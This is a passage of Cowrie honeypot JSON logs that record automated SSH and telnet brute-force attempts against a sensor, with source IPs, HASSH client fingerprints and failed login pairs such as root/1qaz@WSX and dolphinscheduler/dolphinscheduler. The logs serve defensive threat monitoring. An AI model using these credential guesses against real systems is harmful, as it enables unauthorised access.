-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.469020Z","src_ip":"89.223.127.55","session":"768532fccef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60060,"dst_ip":"159.203.135.109","dst_port":22,"session":"323f59425d9c","protocol":"ssh","message":"New connection: 192.109.200.237:60060 (159.203.135.109:22) [session: 323f59425d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.602772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.607332Z","src_ip":"192.109.200.237","session":"323f59425d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.689324Z","src_ip":"192.109.200.237","session":"323f59425d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.832512Z","src_ip":"89.223.127.55","session":"768532fccef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.940763Z","src_ip":"192.109.200.237","session":"323f59425d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:15.954821Z","src_ip":"89.223.127.55","session":"768532fccef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:16.027941Z","src_ip":"192.109.200.237","session":"323f59425d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60088,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d50cf67e8ba","protocol":"ssh","message":"New connection: 192.109.200.237:60088 (159.203.135.109:22) [session: 2d50cf67e8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:18.123155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:18.127969Z","src_ip":"192.109.200.237","session":"2d50cf67e8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:18.218336Z","src_ip":"192.109.200.237","session":"2d50cf67e8ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:18.466427Z","src_ip":"192.109.200.237","session":"2d50cf67e8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:19.556310Z","src_ip":"192.109.200.237","session":"2d50cf67e8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.03675103187561,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:20.930869Z","src_ip":"50.6.8.71","session":"a948a2d57cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45776,"dst_ip":"159.203.135.109","dst_port":22,"session":"80526e85480f","protocol":"ssh","message":"New connection: 192.109.200.237:45776 (159.203.135.109:22) [session: 80526e85480f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:21.597542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:21.602408Z","src_ip":"192.109.200.237","session":"80526e85480f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:21.693349Z","src_ip":"192.109.200.237","session":"80526e85480f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:22.078672Z","src_ip":"192.109.200.237","session":"80526e85480f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:23.163996Z","src_ip":"192.109.200.237","session":"80526e85480f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45778,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1847a08feb","protocol":"ssh","message":"New connection: 192.109.200.237:45778 (159.203.135.109:22) [session: ec1847a08feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:25.194691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:25.204019Z","src_ip":"192.109.200.237","session":"ec1847a08feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:25.286640Z","src_ip":"192.109.200.237","session":"ec1847a08feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:25.534993Z","src_ip":"192.109.200.237","session":"ec1847a08feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:26.621306Z","src_ip":"192.109.200.237","session":"ec1847a08feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45790,"dst_ip":"159.203.135.109","dst_port":22,"session":"e162da8eeaaa","protocol":"ssh","message":"New connection: 192.109.200.237:45790 (159.203.135.109:22) [session: e162da8eeaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:28.648592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:28.652578Z","src_ip":"192.109.200.237","session":"e162da8eeaaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:28.734573Z","src_ip":"192.109.200.237","session":"e162da8eeaaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:28.981258Z","src_ip":"192.109.200.237","session":"e162da8eeaaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:30.067776Z","src_ip":"192.109.200.237","session":"e162da8eeaaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35806,"dst_ip":"10.17.0.5","dst_port":23,"session":"305f9ce70a26","protocol":"telnet","message":"New connection: 50.6.8.71:35806 (10.17.0.5:23) [session: 305f9ce70a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.020464Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44358,"dst_ip":"159.203.135.109","dst_port":22,"session":"e83b1d176e7e","protocol":"ssh","message":"New connection: 192.109.200.237:44358 (159.203.135.109:22) [session: e83b1d176e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.182932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.191011Z","src_ip":"192.109.200.237","session":"e83b1d176e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.272913Z","src_ip":"192.109.200.237","session":"e83b1d176e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.519698Z","src_ip":"192.109.200.237","session":"e83b1d176e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":39900,"dst_ip":"10.17.0.5","dst_port":22,"session":"215005fa74bd","protocol":"ssh","message":"New connection: 147.45.197.250:39900 (10.17.0.5:22) [session: 215005fa74bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.884950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.889320Z","src_ip":"147.45.197.250","session":"215005fa74bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:32.979893Z","src_ip":"147.45.197.250","session":"215005fa74bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gimnazist","message":"login attempt [root/gimnazist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:33.253775Z","src_ip":"147.45.197.250","session":"215005fa74bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:33.603805Z","src_ip":"192.109.200.237","session":"e83b1d176e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:34.347497Z","src_ip":"147.45.197.250","session":"215005fa74bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44386,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5a5eee3bd3","protocol":"ssh","message":"New connection: 192.109.200.237:44386 (159.203.135.109:22) [session: da5a5eee3bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:35.603004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:35.611909Z","src_ip":"192.109.200.237","session":"da5a5eee3bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:35.694181Z","src_ip":"192.109.200.237","session":"da5a5eee3bd3","protocol":"ssh"}
